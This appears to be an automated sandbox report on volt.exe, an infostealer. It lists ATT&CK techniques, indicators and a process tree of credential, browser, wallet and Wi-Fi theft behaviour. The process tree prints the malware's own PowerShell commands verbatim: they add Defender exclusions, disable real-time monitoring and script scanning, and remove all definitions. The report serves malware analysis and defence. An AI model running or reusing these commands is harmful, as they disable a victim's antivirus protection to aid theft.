34977600e0fc14a82d2a6d2d2fa1be6f5ea9648fb1182c8309067844c29393e5

Analysis

user interaction
yes
max time kernel
149s
max time network
153s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
28/07/2026, 15:12

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
volt.exe
Size 22.7MB
Sample260728-slbllahh56
SHA256 34977600e0fc14a82d2a6d2d2fa1be6f5ea9648fb1182c8309067844c29393e5
MD5 d2b2e3cc1da4d97e6dad9eca2635cd95
SHA1 57dea9b8aed2d133685611b16f1dd5f3a799bed1
SHA512 5c99b4a89f9f35206abfa5f0d791ced9303e142cc1a05444aa1f1d668143da7e174daf02d5e6b5537857c572826984ccd6afb0948dc81c4b57b81ba22586da25
SSDEEP 393216:f2eX1YBA/IUEBYC4n8E8hHfvEzMento0xBTp5Qms1SgtRLvF7XLpQn:+AiBkpE2pi0zMento03DQms1xtJvF7in
TLSH
T1273733107AC695B6DCA4517F4E27CB2AFBE03401AB60A5DF13A05B767E3B9904939333
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

collection credential_access defense_evasion discovery execution persistence privilege_escalation spyware stealer trojan upx

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4244	powershell.exe
1016	powershell.exe
4344	powershell.exe
3960	powershell.exe
4840	powershell.exe

Disables one or more Microsoft Defender components 1 TTPs 1 IoCs

Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

defense_evasion

Disable or Modify Tools

T1562.001

pid	Process
4244	powershell.exe

Drops file in Drivers directory 3 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	attrib.exe
File opened for modification	C:\Windows\System32\drivers\etc\hosts	volt.exe
File opened for modification	C:\Windows\System32\drivers\etc\hosts	attrib.exe

Clipboard Data 1 TTPs 2 IoCs

Adversaries may collect data stored in the clipboard from users copying information within or between applications.

collection

Clipboard Data

T1115

pid	Process
5032	cmd.exe
3828	powershell.exe

Executes dropped EXE 3 IoCs

pid	Process
1052	bound.exe
1940	tauri-app.exe
5088	lsp-ws-proxy.exe

Loads dropped DLL 36 IoCs

pid	Process
2812	volt.exe
2812	volt.exe
2812	volt.exe
2812	volt.exe
2812	volt.exe
2812	volt.exe
2812	volt.exe
2812	volt.exe
2812	volt.exe
2812	volt.exe
2812	volt.exe
2812	volt.exe
2812	volt.exe
2812	volt.exe
2812	volt.exe
2812	volt.exe
2812	volt.exe
2812	volt.exe
2812	volt.exe
1052	bound.exe
1052	bound.exe
1052	bound.exe
1052	bound.exe
1052	bound.exe
1052	bound.exe
1052	bound.exe
1052	bound.exe
1052	bound.exe
1052	bound.exe
1052	bound.exe
1052	bound.exe
1052	bound.exe
1052	bound.exe
1052	bound.exe
1052	bound.exe
1052	bound.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
credential_access stealer

Credentials In Files
T1552.001
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Checks whether UAC is enabled 1 TTPs 1 IoCs

defense_evasion trojan

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	tauri-app.exe

Network Share Discovery 1 TTPs
Attempt to gather information on host network.
discovery

Network Share Discovery
T1135
Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Enumerates processes with tasklist 1 TTPs 4 IoCs

discovery

Process Discovery

T1057

pid	Process
3984	tasklist.exe
1344	tasklist.exe
1448	tasklist.exe
1260	tasklist.exe

UPX packed file 52 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x00070000000243ae-30.dat	upx
behavioral1/memory/2812-34-0x00007FFB53C80000-0x00007FFB5438D000-memory.dmp	upx
behavioral1/files/0x000700000002439a-36.dat	upx
behavioral1/files/0x00070000000243ab-40.dat	upx
behavioral1/files/0x00070000000243b7-49.dat	upx
behavioral1/memory/2812-65-0x00007FFB6AAB0000-0x00007FFB6AABF000-memory.dmp	upx
behavioral1/files/0x000700000002439d-67.dat	upx
behavioral1/memory/2812-69-0x00007FFB65EA0000-0x00007FFB65ECC000-memory.dmp	upx
behavioral1/memory/2812-68-0x00007FFB66130000-0x00007FFB6614A000-memory.dmp	upx
behavioral1/files/0x0007000000024399-66.dat	upx
behavioral1/files/0x00070000000243a5-64.dat	upx
behavioral1/files/0x00070000000243a4-63.dat	upx
behavioral1/files/0x00070000000243a3-62.dat	upx
behavioral1/files/0x00070000000243a2-61.dat	upx
behavioral1/files/0x00070000000243a1-60.dat	upx
behavioral1/files/0x00070000000243a0-59.dat	upx
behavioral1/files/0x000700000002439f-58.dat	upx
behavioral1/files/0x000700000002439e-57.dat	upx
behavioral1/files/0x000700000002439c-55.dat	upx
behavioral1/files/0x000700000002439b-54.dat	upx
behavioral1/files/0x0007000000024398-52.dat	upx
behavioral1/files/0x00070000000243b8-50.dat	upx
behavioral1/files/0x00070000000243b1-48.dat	upx
behavioral1/files/0x00070000000243ad-45.dat	upx
behavioral1/files/0x00070000000243ac-44.dat	upx
behavioral1/files/0x00070000000243aa-43.dat	upx
behavioral1/memory/2812-39-0x00007FFB65ED0000-0x00007FFB65EF9000-memory.dmp	upx
behavioral1/memory/2812-71-0x00007FFB61600000-0x00007FFB61680000-memory.dmp	upx
behavioral1/memory/2812-75-0x00007FFB65E10000-0x00007FFB65E1F000-memory.dmp	upx
behavioral1/memory/2812-74-0x00007FFB67A80000-0x00007FFB67A8D000-memory.dmp	upx
behavioral1/memory/2812-79-0x00007FFB622A0000-0x00007FFB622B4000-memory.dmp	upx
behavioral1/memory/2812-78-0x00007FFB53C80000-0x00007FFB5438D000-memory.dmp	upx
behavioral1/memory/2812-81-0x00007FFB53640000-0x00007FFB53C71000-memory.dmp	upx
behavioral1/memory/2812-88-0x00007FFB614A0000-0x00007FFB615F3000-memory.dmp	upx
behavioral1/memory/2812-86-0x00007FFB61850000-0x00007FFB61886000-memory.dmp	upx
behavioral1/memory/2812-85-0x00007FFB62280000-0x00007FFB6229A000-memory.dmp	upx
behavioral1/memory/2812-84-0x00007FFB65ED0000-0x00007FFB65EF9000-memory.dmp	upx
behavioral1/memory/2812-98-0x00007FFB52C30000-0x00007FFB52DBA000-memory.dmp	upx
behavioral1/memory/2812-97-0x00007FFB616E0000-0x00007FFB61706000-memory.dmp	upx
behavioral1/memory/2812-95-0x00007FFB65EA0000-0x00007FFB65ECC000-memory.dmp	upx
behavioral1/memory/2812-100-0x00007FFB62250000-0x00007FFB6225D000-memory.dmp	upx
behavioral1/memory/2812-106-0x00007FFB65E10000-0x00007FFB65E1F000-memory.dmp	upx
behavioral1/memory/2812-108-0x00007FFB53120000-0x00007FFB531DE000-memory.dmp	upx
behavioral1/memory/2812-107-0x00007FFB53640000-0x00007FFB53C71000-memory.dmp	upx
behavioral1/memory/2812-119-0x00007FFB622A0000-0x00007FFB622B4000-memory.dmp	upx
behavioral1/memory/2812-254-0x00007FFB61850000-0x00007FFB61886000-memory.dmp	upx
behavioral1/memory/2812-327-0x00007FFB53C80000-0x00007FFB5438D000-memory.dmp	upx
behavioral1/memory/2812-341-0x00007FFB52C30000-0x00007FFB52DBA000-memory.dmp	upx
behavioral1/memory/2812-344-0x00007FFB614A0000-0x00007FFB615F3000-memory.dmp	upx
behavioral1/memory/2812-340-0x00007FFB616E0000-0x00007FFB61706000-memory.dmp	upx
behavioral1/memory/2812-336-0x00007FFB53640000-0x00007FFB53C71000-memory.dmp	upx
behavioral1/memory/2812-328-0x00007FFB65ED0000-0x00007FFB65EF9000-memory.dmp	upx

Drops file in Program Files directory 63 IoCs

description	ioc	Process
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1596_298153148\hyph-pa.hyb	msedgewebview2.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1596_298153148\hyph-bg.hyb	msedgewebview2.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1596_298153148\hyph-cu.hyb	msedgewebview2.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1596_298153148\hyph-cy.hyb	msedgewebview2.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1596_298153148\hyph-de-1901.hyb	msedgewebview2.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1596_298153148\hyph-es.hyb	msedgewebview2.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1596_298153148\hyph-nn.hyb	msedgewebview2.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1596_298153148\hyph-sv.hyb	msedgewebview2.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1596_2051796975\manifest.fingerprint	msedgewebview2.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1596_298153148\hyph-hi.hyb	msedgewebview2.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1596_298153148\hyph-mul-ethi.hyb	msedgewebview2.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1596_298153148\manifest.fingerprint	msedgewebview2.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1596_298153148\hyph-de-ch-1901.hyb	msedgewebview2.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1596_298153148\hyph-gl.hyb	msedgewebview2.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1596_298153148\hyph-kn.hyb	msedgewebview2.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1596_152475269\manifest.json	msedgewebview2.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1596_298153148\hyph-bn.hyb	msedgewebview2.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1596_298153148\hyph-lt.hyb	msedgewebview2.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1596_298153148\hyph-sk.hyb	msedgewebview2.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1596_298153148\hyph-sl.hyb	msedgewebview2.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1596_1844670345\manifest.json	msedgewebview2.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1596_298153148\hyph-et.hyb	msedgewebview2.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1596_298153148\hyph-und-ethi.hyb	msedgewebview2.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1596_298153148\hyph-de-1996.hyb	msedgewebview2.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1596_298153148\hyph-hy.hyb	msedgewebview2.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1596_152475269\manifest.fingerprint	msedgewebview2.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1596_298153148\hyph-mr.hyb	msedgewebview2.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1596_298153148\hyph-ta.hyb	msedgewebview2.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1596_298153148\hyph-eu.hyb	msedgewebview2.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1596_298153148\hyph-ml.hyb	msedgewebview2.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1596_298153148\hyph-pt.hyb	msedgewebview2.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1596_298153148\hyph-uk.hyb	msedgewebview2.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1596_2051796975\manifest.json	msedgewebview2.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1596_298153148\hyph-af.hyb	msedgewebview2.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1596_298153148\hyph-nl.hyb	msedgewebview2.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1596_298153148\hyph-or.hyb	msedgewebview2.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1596_298153148\hyph-tk.hyb	msedgewebview2.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1596_298153148\hyph-el.hyb	msedgewebview2.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1596_298153148\hyph-ga.hyb	msedgewebview2.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1596_298153148\hyph-mn-cyrl.hyb	msedgewebview2.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1596_298153148\manifest.json	msedgewebview2.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1596_298153148\hyph-it.hyb	msedgewebview2.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1596_298153148\hyph-lv.hyb	msedgewebview2.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1596_298153148\hyph-fr.hyb	msedgewebview2.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1596_298153148\hyph-nb.hyb	msedgewebview2.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1596_298153148\hyph-gu.hyb	msedgewebview2.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1596_2051796975\protocols.json	msedgewebview2.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1596_298153148\hyph-as.hyb	msedgewebview2.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1596_298153148\hyph-en-us.hyb	msedgewebview2.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1596_298153148\hyph-sq.hyb	msedgewebview2.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1596_298153148\hyph-la.hyb	msedgewebview2.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1596_298153148\hyph-te.hyb	msedgewebview2.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1596_298153148\_metadata\verified_contents.json	msedgewebview2.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1596_298153148\hyph-be.hyb	msedgewebview2.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1596_298153148\hyph-en-gb.hyb	msedgewebview2.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1596_298153148\hyph-hr.hyb	msedgewebview2.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1596_298153148\hyph-hu.hyb	msedgewebview2.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1596_298153148\hyph-ru.hyb	msedgewebview2.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1596_1844670345\crl-set	msedgewebview2.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1596_1844670345\manifest.fingerprint	msedgewebview2.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1596_298153148\hyph-cs.hyb	msedgewebview2.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1596_298153148\hyph-da.hyb	msedgewebview2.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1596_298153148\hyph-ka.hyb	msedgewebview2.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 23 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3448	cmd.exe
724	cmd.exe
452	cmd.exe
3952	cmd.exe
1956	cmd.exe
2464	cmd.exe
400	cmd.exe
4616	cmd.exe
1780	cmd.exe
3732	cmd.exe
4844	cmd.exe
2156	cmd.exe
1964	cmd.exe
364	cmd.exe
1620	cmd.exe
2148	cmd.exe
2700	cmd.exe
2644	cmd.exe
4272	cmd.exe
332	cmd.exe
3480	cmd.exe
212	cmd.exe
3948	cmd.exe

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bound.exe

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
4272	cmd.exe
3732	netsh.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedgewebview2.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedgewebview2.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedgewebview2.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
3880	systeminfo.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedgewebview2.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134297251734545377"	msedgewebview2.exe

Suspicious behavior: EnumeratesProcesses 46 IoCs

pid	Process
3960	powershell.exe
4244	powershell.exe
4244	powershell.exe
4840	powershell.exe
4840	powershell.exe
4344	powershell.exe
4344	powershell.exe
3960	powershell.exe
3960	powershell.exe
3828	powershell.exe
3828	powershell.exe
4244	powershell.exe
4244	powershell.exe
1100	powershell.exe
1100	powershell.exe
4840	powershell.exe
4840	powershell.exe
4344	powershell.exe
3828	powershell.exe
1100	powershell.exe
1052	bound.exe
1052	bound.exe
1052	bound.exe
1052	bound.exe
1016	powershell.exe
1016	powershell.exe
1052	bound.exe
1052	bound.exe
1052	bound.exe
1052	bound.exe
1052	bound.exe
1052	bound.exe
1052	bound.exe
1052	bound.exe
1052	bound.exe
1052	bound.exe
1052	bound.exe
1052	bound.exe
1052	bound.exe
1052	bound.exe
1052	bound.exe
1052	bound.exe
1052	bound.exe
1052	bound.exe
3376	msedgewebview2.exe
3376	msedgewebview2.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 1 IoCs

pid	Process
1596	msedgewebview2.exe

Suspicious use of AdjustPrivilegeToken 55 IoCs

description	pid	Process
Token: SeDebugPrivilege	3960	powershell.exe
Token: SeDebugPrivilege	4244	powershell.exe
Token: SeDebugPrivilege	1260	tasklist.exe
Token: SeDebugPrivilege	4840	powershell.exe
Token: SeDebugPrivilege	3984	tasklist.exe
Token: SeDebugPrivilege	4344	powershell.exe
Token: SeIncreaseQuotaPrivilege	4740	WMIC.exe
Token: SeSecurityPrivilege	4740	WMIC.exe
Token: SeTakeOwnershipPrivilege	4740	WMIC.exe
Token: SeLoadDriverPrivilege	4740	WMIC.exe
Token: SeSystemProfilePrivilege	4740	WMIC.exe
Token: SeSystemtimePrivilege	4740	WMIC.exe
Token: SeProfSingleProcessPrivilege	4740	WMIC.exe
Token: SeIncBasePriorityPrivilege	4740	WMIC.exe
Token: SeCreatePagefilePrivilege	4740	WMIC.exe
Token: SeBackupPrivilege	4740	WMIC.exe
Token: SeRestorePrivilege	4740	WMIC.exe
Token: SeShutdownPrivilege	4740	WMIC.exe
Token: SeDebugPrivilege	4740	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4740	WMIC.exe
Token: SeRemoteShutdownPrivilege	4740	WMIC.exe
Token: SeUndockPrivilege	4740	WMIC.exe
Token: SeManageVolumePrivilege	4740	WMIC.exe
Token: 33	4740	WMIC.exe
Token: 34	4740	WMIC.exe
Token: 35	4740	WMIC.exe
Token: 36	4740	WMIC.exe
Token: SeDebugPrivilege	1344	tasklist.exe
Token: SeDebugPrivilege	3828	powershell.exe
Token: SeIncreaseQuotaPrivilege	4740	WMIC.exe
Token: SeSecurityPrivilege	4740	WMIC.exe
Token: SeTakeOwnershipPrivilege	4740	WMIC.exe
Token: SeLoadDriverPrivilege	4740	WMIC.exe
Token: SeSystemProfilePrivilege	4740	WMIC.exe
Token: SeSystemtimePrivilege	4740	WMIC.exe
Token: SeProfSingleProcessPrivilege	4740	WMIC.exe
Token: SeIncBasePriorityPrivilege	4740	WMIC.exe
Token: SeCreatePagefilePrivilege	4740	WMIC.exe
Token: SeBackupPrivilege	4740	WMIC.exe
Token: SeRestorePrivilege	4740	WMIC.exe
Token: SeShutdownPrivilege	4740	WMIC.exe
Token: SeDebugPrivilege	4740	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4740	WMIC.exe
Token: SeRemoteShutdownPrivilege	4740	WMIC.exe
Token: SeUndockPrivilege	4740	WMIC.exe
Token: SeManageVolumePrivilege	4740	WMIC.exe
Token: 33	4740	WMIC.exe
Token: 34	4740	WMIC.exe
Token: 35	4740	WMIC.exe
Token: 36	4740	WMIC.exe
Token: SeDebugPrivilege	1100	powershell.exe
Token: SeDebugPrivilege	1448	tasklist.exe
Token: SeDebugPrivilege	1016	powershell.exe
Token: SeImpersonatePrivilege	1052	bound.exe
Token: SeImpersonatePrivilege	1052	bound.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
1940	tauri-app.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2320 wrote to memory of 2812	2320	volt.exe	84
PID 2812 wrote to memory of 2700	2812	volt.exe	89
PID 2812 wrote to memory of 212	2812	volt.exe	90
PID 2812 wrote to memory of 400	2812	volt.exe	93
PID 2812 wrote to memory of 364	2812	volt.exe	94
PID 2812 wrote to memory of 4616	2812	volt.exe	97
PID 212 wrote to memory of 4244	212	cmd.exe	99
PID 2700 wrote to memory of 3960	2700	cmd.exe	100
PID 2812 wrote to memory of 3948	2812	volt.exe	101
PID 2812 wrote to memory of 2644	2812	volt.exe	102
PID 2812 wrote to memory of 2148	2812	volt.exe	105
PID 2812 wrote to memory of 5032	2812	volt.exe	106
PID 4616 wrote to memory of 4840	4616	cmd.exe	108
PID 2812 wrote to memory of 3448	2812	volt.exe	109
PID 3948 wrote to memory of 1260	3948	cmd.exe	112
PID 2812 wrote to memory of 1620	2812	volt.exe	113
PID 364 wrote to memory of 1052	364	cmd.exe	114
PID 2644 wrote to memory of 3984	2644	cmd.exe	116
PID 2812 wrote to memory of 4272	2812	volt.exe	117
PID 400 wrote to memory of 4344	400	cmd.exe	118
PID 2812 wrote to memory of 332	2812	volt.exe	119
PID 2812 wrote to memory of 724	2812	volt.exe	121
PID 2812 wrote to memory of 4620	2812	volt.exe	124
PID 5032 wrote to memory of 3828	5032	cmd.exe	126
PID 2148 wrote to memory of 4740	2148	cmd.exe	127
PID 3448 wrote to memory of 1344	3448	cmd.exe	128
PID 4272 wrote to memory of 3732	4272	cmd.exe	149
PID 1620 wrote to memory of 1188	1620	cmd.exe	130
PID 332 wrote to memory of 3880	332	cmd.exe	131
PID 4620 wrote to memory of 1100	4620	cmd.exe	132
PID 724 wrote to memory of 2824	724	cmd.exe	133
PID 2812 wrote to memory of 1780	2812	volt.exe	134
PID 1780 wrote to memory of 4364	1780	cmd.exe	136
PID 2812 wrote to memory of 452	2812	volt.exe	137
PID 452 wrote to memory of 2912	452	cmd.exe	139
PID 2812 wrote to memory of 3952	2812	volt.exe	140
PID 2812 wrote to memory of 1956	2812	volt.exe	142
PID 1100 wrote to memory of 1888	1100	powershell.exe	144
PID 3952 wrote to memory of 4956	3952	cmd.exe	145
PID 2812 wrote to memory of 2464	2812	volt.exe	146
PID 1956 wrote to memory of 2416	1956	cmd.exe	148
PID 2812 wrote to memory of 3732	2812	volt.exe	149
PID 2464 wrote to memory of 5040	2464	cmd.exe	151
PID 2812 wrote to memory of 4844	2812	volt.exe	153
PID 3732 wrote to memory of 4292	3732	cmd.exe	154
PID 2812 wrote to memory of 2156	2812	volt.exe	156
PID 1888 wrote to memory of 4796	1888	csc.exe	157
PID 4844 wrote to memory of 1448	4844	cmd.exe	159
PID 2156 wrote to memory of 4148	2156	cmd.exe	160
PID 2812 wrote to memory of 1964	2812	volt.exe	162
PID 2812 wrote to memory of 3480	2812	volt.exe	164
PID 1964 wrote to memory of 1016	1964	cmd.exe	166
PID 3480 wrote to memory of 3280	3480	cmd.exe	167
PID 1940 wrote to memory of 1596	1940	tauri-app.exe	172
PID 1596 wrote to memory of 1792	1596	msedgewebview2.exe	173
PID 1596 wrote to memory of 4236	1596	msedgewebview2.exe	175
PID 1596 wrote to memory of 4236	1596	msedgewebview2.exe	175
PID 1596 wrote to memory of 4236	1596	msedgewebview2.exe	175
PID 1596 wrote to memory of 2576	1596	msedgewebview2.exe	176
PID 1596 wrote to memory of 4836	1596	msedgewebview2.exe	177
PID 1596 wrote to memory of 4836	1596	msedgewebview2.exe	177
PID 1596 wrote to memory of 3144	1596	msedgewebview2.exe	178
PID 1596 wrote to memory of 3144	1596	msedgewebview2.exe	178
PID 1596 wrote to memory of 3144	1596	msedgewebview2.exe	178

Views/modifies file attributes 1 TTPs 2 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
4956	attrib.exe
5040	attrib.exe

C:\Users\Admin\AppData\Local\Temp\volt.exe
"C:\Users\Admin\AppData\Local\Temp\volt.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2320
- C:\Users\Admin\AppData\Local\Temp\volt.exe
  "C:\Users\Admin\AppData\Local\Temp\volt.exe"
  2⤵
  - Drops file in Drivers directory
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:2812
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\volt.exe'"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2700
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\volt.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3960
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:212
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
      4⤵
      Command and Scripting Interpreter: PowerShell
      Disables one or more Microsoft Defender components
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4244
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\bound.exe'"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:400
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\bound.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4344
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "start bound.exe"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:364
  - - C:\Users\Admin\AppData\Local\Temp\bound.exe
      bound.exe
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1052
    - - C:\Users\Admin\AppData\Local\Volt\tauri-app.exe
        
        "C:\Users\Admin\AppData\Local\Volt\tauri-app.exe"
        5⤵
        Executes dropped EXE
        Checks whether UAC is enabled
        Suspicious use of FindShellTrayWindow
        Suspicious use of WriteProcessMemory
        
        PID:1940
